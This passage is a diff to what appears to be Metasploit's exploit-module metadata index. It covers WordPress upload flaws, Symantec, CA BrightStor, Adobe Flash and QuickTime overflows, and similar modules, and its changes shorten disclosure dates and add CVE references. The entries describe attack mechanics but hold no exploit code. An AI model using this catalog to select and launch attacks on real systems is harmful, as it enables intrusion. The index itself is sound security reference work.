"disclosure_date": "2013-11-29", "type": "exploit", "author": [ "United of Muslim Cyber Army", @@ -51367,6 +49318,7 @@ ], "description": "This module exploits a vulnerability found in the WordPress theme OptimizePress. The\n vulnerability is due to an insecure file upload on the media-upload.php component, allowing\n an attacker to upload arbitrary PHP code. This module has been tested successfully on\n OptimizePress 1.45.", "references": [ + "CVE-2013-7102", "URL-http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/", "WPVDB-7441" ], @@ -51387,7 +49339,7 @@ "name": "WordPress Photo Gallery Unrestricted File Upload", "full_name": "exploit/unix/webapp/wp_photo_gallery_unrestricted_file_upload", "rank": 600, - "disclosure_date": "2014-11-11 00:00:00 -0600", + "disclosure_date": "2014-11-11", "type": "exploit", "author": [ "Kacper Szurek", @@ -51417,7 +49369,7 @@ "name": "WordPress PHPMailer Host Header Command Injection", "full_name": "exploit/unix/webapp/wp_phpmailer_host_header", "rank": 200, - "disclosure_date": "2017-05-03 00:00:00 -0500", + "disclosure_date": "2017-05-03", "type": "exploit", "author": [ "Dawid Golunski", @@ -51447,13 +49399,14 @@ "name": "WordPress Pixabay Images PHP Code Upload", "full_name": "exploit/unix/webapp/wp_pixabay_images_upload", "rank": 600, - "disclosure_date": "2015-01-19 00:00:00 -0600", + "disclosure_date": "2015-01-19", "type": "exploit", "author": [ "h0ng10" ], "description": "This module exploits multiple vulnerabilities in the WordPress plugin Pixabay\n Images 2.3.6. The plugin does not check the host of a provided download URL\n which can be used to store and execute malicious PHP code on the system.", "references": [ + "CVE-2015-1376", "URL-https://www.mogwaisecurity.de/advisories/MSA-2015-01.txt", "OSVDB-117145", "OSVDB-117146", @@ -51476,7 +49429,7 @@ "name": "WordPress Platform Theme File Upload Vulnerability", "full_name": "exploit/unix/webapp/wp_platform_exec", "rank": 600, - "disclosure_date": "2015-01-21 00:00:00 -0600", + "disclosure_date": "2015-01-21", "type": "exploit", "author": [ "Marc-Alexandre Montpas", @@ -51504,7 +49457,7 @@ "name": "WordPress WP-Property PHP File Upload Vulnerability", "full_name": "exploit/unix/webapp/wp_property_upload_exec", "rank": 600, - "disclosure_date": "2012-03-26 00:00:00 -0500", + "disclosure_date": "2012-03-26", "type": "exploit", "author": [ "Sammy FORGIT", @@ -51535,7 +49488,7 @@ "name": "Wordpress Reflex Gallery Upload Vulnerability", "full_name": "exploit/unix/webapp/wp_reflexgallery_file_upload", "rank": 600, - "disclosure_date": "2012-12-30 00:00:00 -0600", + "disclosure_date": "2012-12-30", "type": "exploit", "author": [ "Unknown", @@ -51543,6 +49496,7 @@ ], "description": "This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery\n version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.", "references": [ + "CVE-2015-4133", "EDB-36374", "OSVDB-88853", "WPVDB-7867" @@ -51564,7 +49518,7 @@ "name": "WordPress RevSlider File Upload and Execute Vulnerability", "full_name": "exploit/unix/webapp/wp_revslider_upload_execute", "rank": 600, - "disclosure_date": "2014-11-26 00:00:00 -0600", + "disclosure_date": "2014-11-26", "type": "exploit", "author": [ "Simo Ben youssef", @@ -51572,6 +49526,7 @@ ], "description": "This module exploits an arbitrary PHP code upload vulnerability in the\n WordPress ThemePunch Slider Revolution (RevSlider) plugin, versions 3.0.95\n and prior. The vulnerability allows for arbitrary file upload and remote code execution.", "references": [ + "CVE-2014-9735", "OSVDB-115118", "EDB-35385", "WPVDB-7954", @@ -51594,7 +49549,7 @@ "name": "Wordpress SlideShow Gallery Authenticated File Upload", "full_name": "exploit/unix/webapp/wp_slideshowgallery_upload", "rank": 600, - "disclosure_date": "2014-08-28 00:00:00 -0500", + "disclosure_date": "2014-08-28", "type": "exploit", "author": [ "Jesus Ramirez Pichardo", @@ -51623,7 +49578,7 @@ "name": "WordPress WP Symposium 14.11 Shell Upload", "full_name": "exploit/unix/webapp/wp_symposium_shell_upload", "rank": 600, - "disclosure_date": "2014-12-11 00:00:00 -0600", + "disclosure_date": "2014-12-11", "type": "exploit", "author": [ "Claudio Viviani", @@ -51651,7 +49606,7 @@ "name": "WordPress W3 Total Cache PHP Code Execution", "full_name": "exploit/unix/webapp/wp_total_cache_exec", "rank": 600, - "disclosure_date": "2013-04-17 00:00:00 -0500", + "disclosure_date": "2013-04-17", "type": "exploit", "author": [ "Unknown", @@ -51685,7 +49640,7 @@ "name": "Wordpress Work The Flow Upload Vulnerability", "full_name": "exploit/unix/webapp/wp_worktheflow_upload", "rank": 600, - "disclosure_date": "2015-03-14 00:00:00 -0500", + "disclosure_date": "2015-03-14", "type": "exploit", "author": [ "Claudio Viviani", @@ -51714,7 +49669,7 @@ "name": "WordPress WPshop eCommerce Arbitrary File Upload Vulnerability", "full_name": "exploit/unix/webapp/wp_wpshop_ecommerce_file_upload", "rank": 600, - "disclosure_date": "2015-03-09 00:00:00 -0500", + "disclosure_date": "2015-03-09", "type": "exploit", "author": [ "g0blin", @@ -51742,7 +49697,7 @@ "name": "WordPress WPTouch Authenticated File Upload", "full_name": "exploit/unix/webapp/wp_wptouch_file_upload", "rank": 600, - "disclosure_date": "2014-07-14 00:00:00 -0500", + "disclosure_date": "2014-07-14", "type": "exploit", "author": [ "Marc-Alexandre Montpas", @@ -51770,7 +49725,7 @@ "name": "Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload", "full_name": "exploit/unix/webapp/wp_wysija_newsletters_upload", "rank": 600, - "disclosure_date": "2014-07-01 00:00:00 -0500", + "disclosure_date": "2014-07-01", "type": "exploit", "author": [ "Marc-Alexandre Montpas", @@ -51800,7 +49755,7 @@ "name": "XODA 0.4.5 Arbitrary PHP File Upload Vulnerability", "full_name": "exploit/unix/webapp/xoda_file_upload", "rank": 600, - "disclosure_date": "2012-08-21 00:00:00 -0500", + "disclosure_date": "2012-08-21", "type": "exploit", "author": [ "Shai rod", @@ -51829,7 +49784,7 @@ "name": "ZeroShell Remote Code Execution", "full_name": "exploit/unix/webapp/zeroshell_exec", "rank": 600, - "disclosure_date": "2013-09-22 00:00:00 -0500", + "disclosure_date": "2013-09-22", "type": "exploit", "author": [ "Yann CAM", @@ -51837,6 +49792,7 @@ ], "description": "This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower.\n It will leverage an unauthenticated local file inclusion vulnerability in the\n \"/cgi-bin/kerbynet\" url. The file retrieved is \"/var/register/system/ldap/rootpw\".\n This file contains the admin password in cleartext. The password is used to login\n as the admin user. After the authentication process is complete it will use the\n RunScript action to execute the payload with root privileges.", "references": [ + "CVE-2009-0545", "PACKETSTORM-122799" ], "is_server": false, @@ -51856,7 +49812,7 @@ "name": "Zimbra Collaboration Server LFI", "full_name": "exploit/unix/webapp/zimbra_lfi", "rank": 600, - "disclosure_date": "2013-12-06 00:00:00 -0600", + "disclosure_date": "2013-12-06", "type": "exploit", "author": [ "rubina119", @@ -51887,7 +49843,7 @@ "name": "ZoneMinder Video Server packageControl Command Execution", "full_name": "exploit/unix/webapp/zoneminder_packagecontrol_exec", "rank": 600, - "disclosure_date": "2013-01-22 00:00:00 -0600", + "disclosure_date": "2013-01-22", "type": "exploit", "author": [ "Brendan Coles " @@ -51916,7 +49872,7 @@ "name": "ZPanel 10.0.0.2 htpasswd Module Username Command Execution", "full_name": "exploit/unix/webapp/zpanel_username_exec", "rank": 600, - "disclosure_date": "2013-06-07 00:00:00 -0500", + "disclosure_date": "2013-06-07", "type": "exploit", "author": [ "shachibista", @@ -51945,7 +49901,7 @@ "name": "X11 Keyboard Command Injection", "full_name": "exploit/unix/x11/x11_keyboard_exec", "rank": 600, - "disclosure_date": "2015-07-10 00:00:00 -0500", + "disclosure_date": "2015-07-10", "type": "exploit", "author": [ "xistence " @@ -51972,7 +49928,7 @@ "name": "Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution", "full_name": "exploit/windows/antivirus/ams_hndlrsvc", "rank": 600, - "disclosure_date": "2010-07-26 00:00:00 -0500", + "disclosure_date": "2010-07-26", "type": "exploit", "author": [ "MC " @@ -52000,7 +49956,7 @@ "name": "Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution", "full_name": "exploit/windows/antivirus/ams_xfr", "rank": 600, - "disclosure_date": "2009-04-28 00:00:00 -0500", + "disclosure_date": "2009-04-28", "type": "exploit", "author": [ "MC " @@ -52030,7 +49986,7 @@ "name": "Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution", "full_name": "exploit/windows/antivirus/symantec_endpoint_manager_rce", "rank": 600, - "disclosure_date": "2014-02-24 00:00:00 -0600", + "disclosure_date": "2014-02-24", "type": "exploit", "author": [ "Stefan Viehbock", @@ -52063,7 +50019,7 @@ "name": "Symantec Alert Management System Intel Alert Originator Service Buffer Overflow", "full_name": "exploit/windows/antivirus/symantec_iao", "rank": 400, - "disclosure_date": "2009-04-28 00:00:00 -0500", + "disclosure_date": "2009-04-28", "type": "exploit", "author": [ "MC " @@ -52092,7 +50048,7 @@ "name": "Symantec Remote Management Buffer Overflow", "full_name": "exploit/windows/antivirus/symantec_rtvscan", "rank": 400, - "disclosure_date": "2006-05-24 00:00:00 -0500", + "disclosure_date": "2006-05-24", "type": "exploit", "author": [ "MC " @@ -52121,7 +50077,7 @@ "name": "Symantec Workspace Streaming ManagementAgentServer.putFile XMLRPC Request Arbitrary File Upload", "full_name": "exploit/windows/antivirus/symantec_workspace_streaming_exec", "rank": 600, - "disclosure_date": "2014-05-12 00:00:00 -0500", + "disclosure_date": "2014-05-12", "type": "exploit", "author": [ "rgod ", @@ -52152,7 +50108,7 @@ "name": "Trend Micro ServerProtect 5.58 Buffer Overflow", "full_name": "exploit/windows/antivirus/trendmicro_serverprotect", "rank": 400, - "disclosure_date": "2007-02-20 00:00:00 -0600", + "disclosure_date": "2007-02-20", "type": "exploit", "author": [ "MC " @@ -52180,7 +50136,7 @@ "name": "Trend Micro ServerProtect 5.58 CreateBinding() Buffer Overflow", "full_name": "exploit/windows/antivirus/trendmicro_serverprotect_createbinding", "rank": 400, - "disclosure_date": "2007-05-07 00:00:00 -0500", + "disclosure_date": "2007-05-07", "type": "exploit", "author": [ "MC " @@ -52208,7 +50164,7 @@ "name": "Trend Micro ServerProtect 5.58 EarthAgent.EXE Buffer Overflow", "full_name": "exploit/windows/antivirus/trendmicro_serverprotect_earthagent", "rank": 400, - "disclosure_date": "2007-05-07 00:00:00 -0500", + "disclosure_date": "2007-05-07", "type": "exploit", "author": [ "MC " @@ -52236,7 +50192,7 @@ "name": "Arkeia Backup Client Type 77 Overflow (Win32)", "full_name": "exploit/windows/arkeia/type77", "rank": 400, - "disclosure_date": "2005-02-18 00:00:00 -0600", + "disclosure_date": "2005-02-18", "type": "exploit", "author": [ "hdm " @@ -52275,7 +50231,7 @@ "name": "Energizer DUO USB Battery Charger Arucer.dll Trojan Code Execution", "full_name": "exploit/windows/backdoor/energizer_duo_payload", "rank": 600, - "disclosure_date": "2010-03-05 00:00:00 -0600", + "disclosure_date": "2010-03-05", "type": "exploit", "author": [ "hdm " @@ -52303,7 +50259,7 @@ "name": "Veritas Backup Exec Name Service Overflow", "full_name": "exploit/windows/backupexec/name_service", "rank": 200, - "disclosure_date": "2004-12-16 00:00:00 -0600", + "disclosure_date": "2004-12-16", "type": "exploit", "author": [ "hdm " @@ -52333,7 +50289,7 @@ "name": "Veritas Backup Exec Windows Remote Agent Overflow", "full_name": "exploit/windows/backupexec/remote_agent", "rank": 500, - "disclosure_date": "2005-06-22 00:00:00 -0500", + "disclosure_date": "2005-06-22", "type": "exploit", "author": [ "hdm " @@ -52363,7 +50319,7 @@ "name": "Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free", "full_name": "exploit/windows/backupexec/ssl_uaf", "rank": 300, - "disclosure_date": "2017-05-10 00:00:00 -0500", + "disclosure_date": "2017-05-10", "type": "exploit", "author": [ "Matthew Daley" @@ -52402,7 +50358,7 @@ "name": "Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow", "full_name": "exploit/windows/brightstor/ca_arcserve_342", "rank": 200, - "disclosure_date": "2008-10-09 00:00:00 -0500", + "disclosure_date": "2008-10-09", "type": "exploit", "author": [ "Nahuel Cayento Riva", @@ -52432,7 +50388,7 @@ "name": "CA BrightStor Discovery Service TCP Overflow", "full_name": "exploit/windows/brightstor/discovery_tcp", "rank": 200, - "disclosure_date": "2005-02-14 00:00:00 -0600", + "disclosure_date": "2005-02-14", "type": "exploit", "author": [ "hdm ", @@ -52465,7 +50421,7 @@ "name": "CA BrightStor Discovery Service Stack Buffer Overflow", "full_name": "exploit/windows/brightstor/discovery_udp", "rank": 200, - "disclosure_date": "2004-12-20 00:00:00 -0600", + "disclosure_date": "2004-12-20", "type": "exploit", "author": [ "hdm ", @@ -52496,7 +50452,7 @@ "name": "Computer Associates Alert Notification Buffer Overflow", "full_name": "exploit/windows/brightstor/etrust_itm_alert", "rank": 200, - "disclosure_date": "2008-04-04 00:00:00 -0500", + "disclosure_date": "2008-04-04", "type": "exploit", "author": [ "MC " @@ -52526,7 +50482,7 @@ "name": "CA BrightStor HSM Buffer Overflow", "full_name": "exploit/windows/brightstor/hsmserver", "rank": 500, - "disclosure_date": "2007-09-27 00:00:00 -0500", + "disclosure_date": "2007-09-27", "type": "exploit", "author": [ "toto" @@ -52554,7 +50510,7 @@ "name": "CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow", "full_name": "exploit/windows/brightstor/lgserver", "rank": 200, - "disclosure_date": "2007-01-31 00:00:00 -0600", + "disclosure_date": "2007-01-31", "type": "exploit", "author": [ "MC " @@ -52582,7 +50538,7 @@ "name": "CA BrightStor ARCserve for Laptops and Desktops LGServer Multiple Commands Buffer Overflow", "full_name": "exploit/windows/brightstor/lgserver_multi", "rank": 200, - "disclosure_date": "2007-06-06 00:00:00 -0500", + "disclosure_date": "2007-06-06", "type": "exploit", "author": [ "MC " @@ -52610,7 +50566,7 @@ "name": "CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow", "full_name": "exploit/windows/brightstor/lgserver_rxrlogin", "rank": 200, - "disclosure_date": "2007-06-06 00:00:00 -0500", + "disclosure_date": "2007-06-06", "type": "exploit", "author": [ "MC " @@ -52639,7 +50595,7 @@ "name": "CA BrightStor ARCserve for Laptops and Desktops LGServer rxsSetDataGrowthScheduleAndFilter Buffer Overflow", "full_name": "exploit/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter", "rank": 200, - "disclosure_date": "2007-06-06 00:00:00 -0500", + "disclosure_date": "2007-06-06", "type": "exploit", "author": [ "MC " @@ -52667,7 +50623,7 @@ "name": "CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow", "full_name": "exploit/windows/brightstor/lgserver_rxsuselicenseini", "rank": 200, - "disclosure_date": "2007-06-06 00:00:00 -0500", + "disclosure_date": "2007-06-06", "type": "exploit", "author": [ "MC " @@ -52696,7 +50652,7 @@ "name": "CA BrightStor ARCserve License Service GCR NETWORK Buffer Overflow", "full_name": "exploit/windows/brightstor/license_gcr", "rank": 200, - "disclosure_date": "2005-03-02 00:00:00 -0600", + "disclosure_date": "2005-03-02", "type": "exploit", "author": [ "MC " @@ -52725,7 +50681,7 @@ "name": "CA BrightStor ArcServe Media Service Stack Buffer Overflow", "full_name": "exploit/windows/brightstor/mediasrv_sunrpc", "rank": 200, - "disclosure_date": "2007-04-25 00:00:00 -0500", + "disclosure_date": "2007-04-25", "type": "exploit", "author": [ "toto" @@ -52756,7 +50712,7 @@ "name": "CA BrightStor ARCserve Message Engine Buffer Overflow", "full_name": "exploit/windows/brightstor/message_engine", "rank": 200, - "disclosure_date": "2007-01-11 00:00:00 -0600", + "disclosure_date": "2007-01-11", "type": "exploit", "author": [ "MC ", @@ -52787,7 +50743,7 @@ "name": "CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow", "full_name": "exploit/windows/brightstor/message_engine_72", "rank": 200, - "disclosure_date": "2010-10-04 00:00:00 -0500", + "disclosure_date": "2010-10-04", "type": "exploit", "author": [ "MC " @@ -52814,7 +50770,7 @@ "name": "CA BrightStor ARCserve Message Engine Heap Overflow", "full_name": "exploit/windows/brightstor/message_engine_heap", "rank": 200, - "disclosure_date": "2006-10-05 00:00:00 -0500", + "disclosure_date": "2006-10-05", "type": "exploit", "author": [ "MC " @@ -52842,7 +50798,7 @@ "name": "CA BrightStor Agent for Microsoft SQL Overflow", "full_name": "exploit/windows/brightstor/sql_agent", "rank": 200, - "disclosure_date": "2005-08-02 00:00:00 -0500", + "disclosure_date": "2005-08-02", "type": "exploit", "author": [ "hdm " @@ -52880,7 +50836,7 @@ "name": "CA BrightStor ARCserve Tape Engine Buffer Overflow", "full_name": "exploit/windows/brightstor/tape_engine", "rank": 200, - "disclosure_date": "2006-11-21 00:00:00 -0600", + "disclosure_date": "2006-11-21", "type": "exploit", "author": [ "MC ", @@ -52911,7 +50867,7 @@ "name": "CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow", "full_name": "exploit/windows/brightstor/tape_engine_0x8a", "rank": 200, - "disclosure_date": "2010-10-04 00:00:00 -0500", + "disclosure_date": "2010-10-04", "type": "exploit", "author": [ "MC " @@ -52938,7 +50894,7 @@ "name": "CA BrightStor Universal Agent Overflow", "full_name": "exploit/windows/brightstor/universal_agent", "rank": 200, - "disclosure_date": "2005-04-11 00:00:00 -0500", + "disclosure_date": "2005-04-11", "type": "exploit", "author": [ "hdm " @@ -52967,7 +50923,7 @@ "name": "Adobe CoolType SING Table \"uniqueName\" Stack Buffer Overflow", "full_name": "exploit/windows/browser/adobe_cooltype_sing", "rank": 500, - "disclosure_date": "2010-09-07 00:00:00 -0500", + "disclosure_date": "2010-09-07", "type": "exploit", "author": [ "Unknown", @@ -52998,7 +50954,7 @@ "name": "Adobe Flash Player Integer Underflow Remote Code Execution", "full_name": "exploit/windows/browser/adobe_flash_avm2", "rank": 300, - "disclosure_date": "2014-02-05 00:00:00 -0600", + "disclosure_date": "2014-02-05", "type": "exploit", "author": [ "Unknown", @@ -53029,7 +50985,7 @@ "name": "Adobe Flash Player casi32 Integer Overflow", "full_name": "exploit/windows/browser/adobe_flash_casi32_int_overflow", "rank": 500, - "disclosure_date": "2014-10-14 00:00:00 -0500", + "disclosure_date": "2014-10-14", "type": "exploit", "author": [ "bilou", @@ -53060,7 +51016,7 @@ "name": "Adobe Flash Player copyPixelsToByteArray Method Integer Overflow", "full_name": "exploit/windows/browser/adobe_flash_copy_pixels_to_byte_array", "rank": 500, - "disclosure_date": "2014-09-23 00:00:00 -0500", + "disclosure_date": "2014-09-23", "type": "exploit", "author": [ "Chris Evans", @@ -53095,7 +51051,7 @@ "name": "Adobe Flash Player domainMemory ByteArray Use After Free", "full_name": "exploit/windows/browser/adobe_flash_domain_memory_uaf", "rank": 500, - "disclosure_date": "2014-04-14 00:00:00 -0500", + "disclosure_date": "2014-04-14", "type": "exploit", "author": [ "bilou", @@ -53129,7 +51085,7 @@ "name": "Adobe Flash Player Type Confusion Remote Code Execution", "full_name": "exploit/windows/browser/adobe_flash_filters_type_confusion", "rank": 300, - "disclosure_date": "2013-12-10 00:00:00 -0600", + "disclosure_date": "2013-12-10", "type": "exploit", "author": [ "Unknown", @@ -53161,7 +51117,7 @@ "name": "Adobe Flash Player MP4 'cprt' Overflow", "full_name": "exploit/windows/browser/adobe_flash_mp4_cprt", "rank": 300, - "disclosure_date": "2012-02-15 00:00:00 -0600", + "disclosure_date": "2012-02-15", "type": "exploit", "author": [ "Alexander Gavrun", @@ -53199,7 +51155,7 @@ "name": "Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow", "full_name": "exploit/windows/browser/adobe_flash_otf_font", "rank": 300, - "disclosure_date": "2012-08-09 00:00:00 -0500", + "disclosure_date": "2012-08-09", "type": "exploit", "author": [ "Alexander Gavrun", @@ -53240,7 +51196,7 @@ "name": "Adobe Flash Player PCRE Regex Vulnerability", "full_name": "exploit/windows/browser/adobe_flash_pcre", "rank": 300, - "disclosure_date": "2014-11-25 00:00:00 -0600", + "disclosure_date": "2014-11-25", "type": "exploit", "author": [ "Mark Brand", @@ -53269,7 +51225,7 @@ "name": "Adobe Flash Player Regular Expression Heap Overflow", "full_name": "exploit/windows/browser/adobe_flash_regex_value", "rank": 300, - "disclosure_date": "2013-02-08 00:00:00 -0600", + "disclosure_date": "2013-02-08", "type": "exploit", "author": [ "Unknown", @@ -53304,7 +51260,7 @@ "name": "Adobe Flash Player Object Type Confusion", "full_name": "exploit/windows/browser/adobe_flash_rtmp", "rank": 300, - "disclosure_date": "2012-05-04 00:00:00 -0500", + "disclosure_date": "2012-05-04", "type": "exploit", "author": [ "sinn3r ", @@ -53339,7 +51295,7 @@ "name": "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow", "full_name": "exploit/windows/browser/adobe_flash_sps", "rank": 300, - "disclosure_date": "2011-08-09 00:00:00 -0500", + "disclosure_date": "2011-08-09", "type": "exploit", "author": [ "Alexander Gavrun", @@ -53375,7 +51331,7 @@ "name": "Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory", "full_name": "exploit/windows/browser/adobe_flash_uncompress_zlib_uninitialized", "rank": 400, - "disclosure_date": "2014-11-11 00:00:00 -0600", + "disclosure_date": "2014-11-11", "type": "exploit", "author": [ "Nicolas Joly", @@ -53406,7 +51362,7 @@ "name": "Adobe Flash Player ByteArray With Workers Use After Free", "full_name": "exploit/windows/browser/adobe_flash_worker_byte_array_uaf", "rank": 500, - "disclosure_date": "2015-02-02 00:00:00 -0600", + "disclosure_date": "2015-02-02", "type": "exploit", "author": [ "Unknown", @@ -53437,7 +51393,7 @@ "name": "Adobe Flash Player AVM Verification Logic Array Indexing Code Execution", "full_name": "exploit/windows/browser/adobe_flashplayer_arrayindexing", "rank": 500, - "disclosure_date": "2012-06-21 00:00:00 -0500", + "disclosure_date": "2012-06-21", "type": "exploit", "author": [ "mr_me ", @@ -53470,7 +51426,7 @@ "name": "Adobe Flash Player AVM Bytecode Verification Vulnerability", "full_name": "exploit/windows/browser/adobe_flashplayer_avm", "rank": 400, - "disclosure_date": "2011-03-15 00:00:00 -0500", + "disclosure_date": "2011-03-15", "type": "exploit", "author": [ "bannedit ", @@ -53502,7 +51458,7 @@ "name": "Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability", "full_name": "exploit/windows/browser/adobe_flashplayer_flash10o", "rank": 300, - "disclosure_date": "2011-04-11 00:00:00 -0500", + "disclosure_date": "2011-04-11", "type": "exploit", "author": [ "sinn3r " @@ -53540,7 +51496,7 @@ "name": "Adobe Flash Player \"newfunction\" Invalid Pointer Use", "full_name": "exploit/windows/browser/adobe_flashplayer_newfunction", "rank": 300, - "disclosure_date": "2010-06-04 00:00:00 -0500", + "disclosure_date": "2010-06-04", "type": "exploit", "author": [ "Unknown", @@ -53571,7 +51527,7 @@ "name": "Adobe FlateDecode Stream Predictor 02 Integer Overflow", "full_name": "exploit/windows/browser/adobe_flatedecode_predictor02", "rank": 400, - "disclosure_date": "2009-10-08 00:00:00 -0500", + "disclosure_date": "2009-10-08", "type": "exploit", "author": [ "unknown", @@ -53603,7 +51559,7 @@ "name": "Adobe Collab.getIcon() Buffer Overflow", "full_name": "exploit/windows/browser/adobe_geticon", "rank": 400, - "disclosure_date": "2009-03-24 00:00:00 -0500", + "disclosure_date": "2009-03-24", "type": "exploit", "author": [ "MC ", @@ -53634,7 +51590,7 @@ "name": "Adobe JBIG2Decode Heap Corruption", "full_name": "exploit/windows/browser/adobe_jbig2decode", "rank": 400, - "disclosure_date": "2009-02-19 00:00:00 -0600", + "disclosure_date": "2009-02-19", "type": "exploit", "author": [ "natron ", @@ -53667,7 +51623,7 @@ "name": "Adobe Doc.media.newPlayer Use After Free Vulnerability", "full_name": "exploit/windows/browser/adobe_media_newplayer", "rank": 400, - "disclosure_date": "2009-12-14 00:00:00 -0600", + "disclosure_date": "2009-12-14", "type": "exploit", "author": [ "unknown", @@ -53701,7 +51657,7 @@ "name": "Adobe Shockwave rcsL Memory Corruption", "full_name": "exploit/windows/browser/adobe_shockwave_rcsl_corruption", "rank": 300, - "disclosure_date": "2010-10-21 00:00:00 -0500", + "disclosure_date": "2010-10-21", "type": "exploit", "author": [ "David Kennedy \"ReL1K\" " @@ -53729,7 +51685,7 @@ "name": "Adobe Reader ToolButton Use After Free", "full_name": "exploit/windows/browser/adobe_toolbutton", "rank": 300, - "disclosure_date": "2013-08-08 00:00:00 -0500", + "disclosure_date": "2013-08-08", "type": "exploit", "author": [ "Soroush Dalili", @@ -53762,7 +51718,7 @@ "name": "Adobe util.printf() Buffer Overflow", "full_name": "exploit/windows/browser/adobe_utilprintf", "rank": 400, - "disclosure_date": "2008-02-08 00:00:00 -0600", + "disclosure_date": "2008-02-08", "type": "exploit", "author": [ "MC ", @@ -53790,7 +51746,7 @@ "name": "Advantech WebAccess dvs.ocx GetColor Buffer Overflow", "full_name": "exploit/windows/browser/advantech_webaccess_dvs_getcolor", "rank": 300, - "disclosure_date": "2014-07-17 00:00:00 -0500", + "disclosure_date": "2014-07-17", "type": "exploit", "author": [ "Unknown", @@ -53819,7 +51775,7 @@ "name": "AOL Instant Messenger goaway Overflow", "full_name": "exploit/windows/browser/aim_goaway", "rank": 500, - "disclosure_date": "2004-08-09 00:00:00 -0500", + "disclosure_date": "2004-08-09", "type": "exploit", "author": [ "skape ", @@ -53849,7 +51805,7 @@ "name": "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow", "full_name": "exploit/windows/browser/aladdin_choosefilepath_bof", "rank": 300, - "disclosure_date": "2012-04-01 00:00:00 -0500", + "disclosure_date": "2012-04-01", "type": "exploit", "author": [ "shinnai", @@ -53884,7 +51840,7 @@ "name": "Amaya Browser v11.0 'bdo' Tag Overflow", "full_name": "exploit/windows/browser/amaya_bdo", "rank": 300, - "disclosure_date": "2009-01-28 00:00:00 -0600", + "disclosure_date": "2009-01-28", "type": "exploit", "author": [ "dookie, original exploit by Rob Carter" @@ -53913,7 +51869,7 @@ "name": "AOL Radio AmpX ActiveX Control ConvertFile() Buffer Overflow", "full_name": "exploit/windows/browser/aol_ampx_convertfile", "rank": 300, - "disclosure_date": "2009-05-19 00:00:00 -0500", + "disclosure_date": "2009-05-19", "type": "exploit", "author": [ "rgod ", @@ -53942,7 +51898,7 @@ "name": "America Online ICQ ActiveX Control Arbitrary File Download and Execute", "full_name": "exploit/windows/browser/aol_icq_downloadagent", "rank": 600, - "disclosure_date": "2006-11-06 00:00:00 -0600", + "disclosure_date": "2006-11-06", "type": "exploit", "author": [ "MC " @@ -53971,7 +51927,7 @@ "name": "Apple ITunes 4.7 Playlist Buffer Overflow", "full_name": "exploit/windows/browser/apple_itunes_playlist", "rank": 300, - "disclosure_date": "2005-01-11 00:00:00 -0600", + "disclosure_date": "2005-01-11", "type": "exploit", "author": [ "MC " @@ -54000,7 +51956,7 @@ "name": "Apple QuickTime 7.6.7 _Marshaled_pUnk Code Execution", "full_name": "exploit/windows/browser/apple_quicktime_marshaled_punk", "rank": 500, - "disclosure_date": "2010-08-30 00:00:00 -0500", + "disclosure_date": "2010-08-30", "type": "exploit", "author": [ "Ruben Santemarta", @@ -54029,7 +51985,7 @@ "name": "Apple QuickTime 7.7.2 MIME Type Buffer Overflow", "full_name": "exploit/windows/browser/apple_quicktime_mime_type", "rank": 300, - "disclosure_date": "2012-11-07 00:00:00 -0600", + "disclosure_date": "2012-11-07", "type": "exploit", "author": [ "Pavel Polischouk", @@ -54062,7 +52018,7 @@ "name": "Apple Quicktime 7 Invalid Atom Length Buffer Overflow", "full_name": "exploit/windows/browser/apple_quicktime_rdrf", "rank": 300, - "disclosure_date": "2013-05-22 00:00:00 -0500", + "disclosure_date": "2013-05-22", "type": "exploit", "author": [ "Jason Kratzer", @@ -54098,7 +52054,7 @@ "name": "Apple QuickTime 7.1.3 RTSP URI Buffer Overflow", "full_name": "exploit/windows/browser/apple_quicktime_rtsp", "rank": 300, - "disclosure_date": "2007-01-01 00:00:00 -0600", + "disclosure_date": "2007-01-01", "type": "exploit", "author": [ "MC ", @@ -54129,7 +52085,7 @@ "name": "Apple QuickTime 7.6.6 Invalid SMIL URI Buffer Overflow", "full_name": "exploit/windows/browser/apple_quicktime_smil_debug", "rank": 400, - "disclosure_date": "2010-08-12 00:00:00 -0500", + "disclosure_date": "2010-08-12", "type": "exploit", "author": [ "Krystian Kloskowski", @@ -54160,7 +52116,7 @@ "name": "Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow", "full_name": "exploit/windows/browser/apple_quicktime_texml_font_table", "rank": 300, - "disclosure_date": "2012-11-07 00:00:00 -0600", + "disclosure_date": "2012-11-07", "type": "exploit", "author": [ "Arezou Hosseinzad-Amirkhizi", @@ -54193,7 +52149,7 @@ "name": "Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/ask_shortformat", "rank": 300, - "disclosure_date": "2007-09-24 00:00:00 -0500", + "disclosure_date": "2007-09-24", "type": "exploit", "author": [ "MC " @@ -54221,7 +52177,7 @@ "name": "ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow", "full_name": "exploit/windows/browser/asus_net4switch_ipswcom", "rank": 300, - "disclosure_date": "2012-02-17 00:00:00 -0600", + "disclosure_date": "2012-02-17", "type": "exploit", "author": [ "Dmitriy Evdokimov", @@ -54252,7 +52208,7 @@ "name": "AtHocGov IWSAlerts ActiveX Control Buffer Overflow", "full_name": "exploit/windows/browser/athocgov_completeinstallation", "rank": 300, - "disclosure_date": "2008-02-15 00:00:00 -0600", + "disclosure_date": "2008-02-15", "type": "exploit", "author": [ "MC " @@ -54278,7 +52234,7 @@ "name": "Autodesk 